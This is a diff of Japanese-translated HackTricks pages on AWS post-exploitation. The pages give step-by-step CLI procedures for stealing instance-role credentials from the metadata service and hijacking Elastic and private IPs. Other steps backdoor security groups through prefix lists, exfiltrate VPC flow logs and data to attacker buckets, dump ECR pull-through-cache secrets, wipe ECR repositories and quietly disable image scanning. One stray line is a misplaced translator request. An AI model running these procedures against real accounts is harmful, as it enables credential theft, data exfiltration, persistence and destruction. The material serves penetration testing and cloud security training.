+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## ポストエクスプロイテーションの証明（インスタンスプロファイル資格情報の窃取）
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+そのファイルの内容がまだ提供されていません。src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md のマークダウン内容を貼り付けてください。
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+盗んだ creds をローカルで使って本人確認する:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## クリーンアップ
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> 注意
+> - 注入されたSSHキーは約60秒しか有効ではありません。トンネル/SSHを開く直前にキーを送信してください。
+> - `OS_USER` は AMI と一致する必要があります（例：`ubuntu` は Ubuntu、`ec2-user` は Amazon Linux 2）。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
new file mode 100644
index 000000000..6d90ff014
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+
+`ec2:AssociateAddress`（任意で `ec2:DisassociateAddress`）を悪用して、victim instance/ENI から attacker instance/ENI に Elastic IP (EIP) を再関連付けします。これにより、EIP 宛ての着信トラフィックは attacker にリダイレクトされ、また attacker は許可リストに登録されたパブリックIP を使って発信トラフィックを生成し、外部パートナーのファイアウォールを回避できます。
+
+## 前提条件
+- 同一アカウント/VPC 内の対象 EIP allocation ID。
+- あなたが制御する attacker instance/ENI。
+- 権限:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` が EIP allocation-id と attacker instance/ENI に対して必要
+- `ec2:DisassociateAddress`（任意）。注意: `--allow-reassociation` は前のアタッチメントから自動的にディスアソシエイトします。
+
+## 攻撃
+
+変数
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) victimのEIPを割り当てるか特定する (labが新しいEIPを割り当ててvictimにアタッチする)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) EIPが現在ターゲットのサービスを指していることを確認する（例: bannerの確認）
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) EIPをattackerに再関連付けする（victimから自動的に切り離される）
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) EIPがattacker serviceに解決されていることを確認する
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+証拠（移動された関連付け）:
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## 影響
+- Inbound impersonation: hijacked EIP への全てのトラフィックが attacker instance/ENI に配信される。
+- Outbound impersonation: Attacker は allowlisted public IP から発信されたように見えるトラフィックを開始できる（partner/external source IP filters を回避するのに有用）。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
new file mode 100644
index 000000000..8a2b06cf7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+`ec2:UnassignPrivateIpAddresses` と `ec2:AssignPrivateIpAddresses` を悪用して、被害者ENIのセカンダリプライベートIPを盗み、同じサブネット/ AZ内の攻撃者ENIに移動させます。多くの内部サービスやセキュリティグループは特定のプライベートIPでアクセスを制御しています。そのセカンダリアドレスを移動することで、攻撃者はL3で信頼されたホストになりすまし、allowlistedなサービスに到達できます。
+
+前提条件:
+- 権限: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` が被害者ENIのARNに対して、`ec2:AssignPrivateIpAddresses` が攻撃者ENIのARNに対して必要です。
+- 両方のENIは同じサブネット/AZ内にある必要があります。ターゲットアドレスはセカンダリIPでなければなりません（プライマリは割り当て解除できません）。
+
+変数:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+手順:
+1) 被害者ENIからセカンダリIPを選択する
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) 保護対象のホストがそのIPのみを許可していることを確認する（idempotent）。代わりにSG-to-SGルールを使用している場合は、スキップする。
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) ベースライン: attacker instance から PROTECTED_HOST へのリクエストは、spoofed source がないと失敗するはず（例: SSM/SSH 経由）
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) 被害者の ENI からセカンダリ IP の割り当てを解除する
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) 同じIPを攻撃者のENIに割り当てる (AWS CLI v1では `--allow-reassignment` を追加)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) 所有権が移転したことを確認
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) attacker instance から、hijacked IP に source-bind して protected host に到達する（IP が OS に設定されていることを確認する。設定されていない場合は `ip addr add $HIJACK_IP/<mask> dev eth0` で追加する）
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## 影響
+- 同一の subnet/AZ 内で ENIs 間に secondary private IPs を移動することで、VPC 内の IP allowlists を回避し、trusted hosts を偽装できます。
+- 特定の source IPs によってアクセスを制限している内部サービスに到達でき、lateral movement とデータアクセスが可能になります。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
new file mode 100644
index 000000000..faee9cfde
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
@@ -0,0 +1,72 @@
+# AWS - Managed Prefix Lists を介した Security Group バックドア
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+customer-managed Prefix Lists を悪用してステルスなアクセス経路を作成します。security group (SG) ルールが managed Prefix List を参照している場合、そのリストを変更できる者は誰でも攻撃者が管理する CIDRs を静かに追加できます。そのリストを参照するすべての SG（場合によっては Network ACL や VPC endpoint も）が、SG 自体の見た目上の変更なしに新しい範囲を即座に許可します。
+
+## 影響
+- prefix list を参照するすべての SG の許可 IP 範囲が即座に拡大し、SG の編集のみを監視する変更管理を回避します。
+- 永続的な受信/送信バックドアを可能にします: 悪意ある CIDR を prefix list に隠したまま SG ルールは変更されていないように見せられます。
+
+## 要件
+- IAM 権限:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (アタッチされている SG を特定するため)
+- オプション: `ec2:CreateManagedPrefixList` （テスト用に新規作成する場合）
+- 環境: 対象の customer-managed Prefix List を参照する SG ルールが少なくとも1つ存在すること。
+
+## 変数
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## 攻撃手順
+
+1) **候補となる prefix lists と consumers を列挙する**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` を使用して、どの SG ルールがそのリストに依存しているかを確認します。
+
+2) **attacker CIDR を prefix list に追加する**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **security groups への伝播を検証する**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+$ENTRY_CIDR からのトラフィックは、prefix list が参照されているあらゆる場所（通常は出口プロキシのアウトバウンドルールや共有サービスのインバウンドルール）で許可されるようになります。
+
+## 証拠
+- `get-managed-prefix-list-entries` は攻撃者の CIDR と説明を反映しています。
+- `describe-security-group-rules` は元の SG ルールが prefix list を参照している状態をそのまま表示します（SG の変更は記録されていません）が、新しい CIDR からのトラフィックは成功します。
+
+## クリーンアップ
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
new file mode 100644
index 000000000..b6644f565
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
@@ -0,0 +1,68 @@
+# AWS – 分離されたサブネットからVPC Endpoints経由でのEgress Bypass
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+この手法は、Internet Gateways や NAT を持たないサブネットからデータを外部に送るチャネルを作るために VPC Endpoints を悪用します。Gateway endpoints（例: S3）はサブネットのルートテーブルに prefix‑list ルートを追加します。Interface endpoints（例: execute-api、secretsmanager、ssm など）は、security groups で保護された private IP を持つ到達可能な ENIs を作成します。最小限の VPC/EC2 パーミッションがあれば、攻撃者はパブリック Internet を経由しない制御された egress を有効化できます。
+
+> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
+
+## Option A – S3 Gateway VPC Endpoint
+
+**変数**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) S3 Gateway endpoint を作成する（選択したルートテーブルに S3 prefix‑list のルートを追加します）:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Evidence to capture:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` は AWS S3 プレフィックスリストへのルートを示します（例: `DestinationPrefixListId=pl-..., GatewayId=vpce-...`）。
+- それらのサブネット内の instance（with IAM perms）から、Internet を使わずに S3 経由で exfil できる:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## オプションB – Interface VPC Endpoint for API Gateway (execute-api)
+
+**変数**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) interface endpoint を作成して SG をアタッチする:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+収集する証拠:
+- `aws ec2 describe-vpc-endpoints` が `available` 状態で `NetworkInterfaceIds`（サブネット内の ENIs）を表示する。
+- それらのサブネット内のインスタンスは、これらの VPCE ENIs 経由で Private API Gateway エンドポイントに到達できる（Internet 経路は不要）。
+
+## 影響
+- AWS-managed のプライベート経路を利用して、周辺の egress 制御を回避する。
+- IGW/NAT なしで、分離されたサブネットからのデータ持ち出しを可能にする（例: S3 への書き込み、Private API Gateway の呼び出し、Secrets Manager/SSM/STS へのアクセスなど）。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
new file mode 100644
index 000000000..876ae3276
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+`ec2:CreateFlowLogs` を悪用して、VPC、subnet、または ENI の flow logs を攻撃者が管理する S3 バケットへ直接エクスポートします。delivery role が外部バケットへ書き込むように設定されると、監視対象リソースで検出されたすべての接続が被害者アカウントからストリーミングされます。
+
+## 要件
+- 被害者プリンシパル: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, および `iam:PassRole`（delivery role が必要/作成される場合）。
+- 攻撃者側バケット: `delivery.logs.amazonaws.com` を信頼し、`s3:PutObject` と `bucket-owner-full-control` を許可する S3 ポリシー。
+- オプション: S3 の代わりに CloudWatch にエクスポートする場合は `logs:DescribeLogGroups`（ここでは不要）。
+
+## 攻撃手順
+
+1) **攻撃者** は、VPC Flow Logs の配信サービスがオブジェクトを書き込めるようにする S3 バケットポリシー（攻撃者アカウント内）を用意します。適用する前にプレースホルダを置き換えてください:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+攻撃者アカウントから適用:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) が attacker bucket をターゲットにした flow logs を作成する:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+数分以内に、監視対象の VPC/subnet 内のすべての ENIs に対する接続を含む flow log files が attacker bucket に出現します。
+
+## 証拠
+
+attacker bucket に書き込まれた flow log records のサンプル:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+バケット一覧の証拠:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## 影響
+- 監視対象の VPC/subnet/ENI に対する継続的な network metadata exfiltration (source/destination IPs, ports, protocols).
+- traffic analysis、機密性の高いサービスの特定、および victim account の外部からの security group misconfigurations の潜在的な探索を可能にする。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
deleted file mode 100644
index 6ed0c5ed0..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - ECR ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-詳細については、以下を確認してください
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### ログイン、プル & プッシュ
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-画像をダウンロードした後は、**機密情報を確認する必要があります**：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、**その後**ECRリポジトリ全体を削除することができます**。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
new file mode 100644
index 000000000..09b40fc58
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -0,0 +1,209 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+詳細は次を参照してください
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**：
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+これらの権限のいずれかを持つ攻撃者は、**リポジトリ内のすべてのイメージを削除するように lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに格納されているすべてのコンテナイメージが失われます。
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ECR Pull‑Through Cache (PTC) から upstream registry credentials を exfiltrate する
+
+ECR Pull‑Through Cache が認証済みの upstream registries（Docker Hub、GHCR、ACR など）に対して設定されている場合、upstream の認証情報は AWS Secrets Manager に予測可能な名前プレフィックス `ecr-pullthroughcache/` で保存されます。運用者は時に ECR 管理者に対して広範な Secrets Manager の読み取りアクセスを付与しており、その結果、認証情報の exfiltration や AWS 外での再利用が可能になることがあります。
+
+Requirements
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+候補となる PTC secrets を列挙する
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+発見された secrets を Dump し、一般的なフィールドを解析する
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+任意: leaked creds を upstream (read‑only login) に対して検証する
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+影響
+- これらの Secrets Manager エントリを読み取ることで、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは upstream の権限に応じて、AWS の外部で private images を pull したり、追加の repositories へアクセスするために悪用される可能性があります。
+
+
+### レジストリ単位のステルス: `ecr:PutRegistryScanningConfiguration` を使用してスキャンを無効化またはダウングレード
+
+レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを何も設定しないことで、ALL リポジトリの自動脆弱性スキャンを静かに低下または無効化できます。これにより新しいイメージの push が自動的にスキャンされなくなり、脆弱なまたは悪意のあるイメージを隠すことができます。
+
+要件
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+レジストリ全体を手動へダウングレード（自動スキャンなし）
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
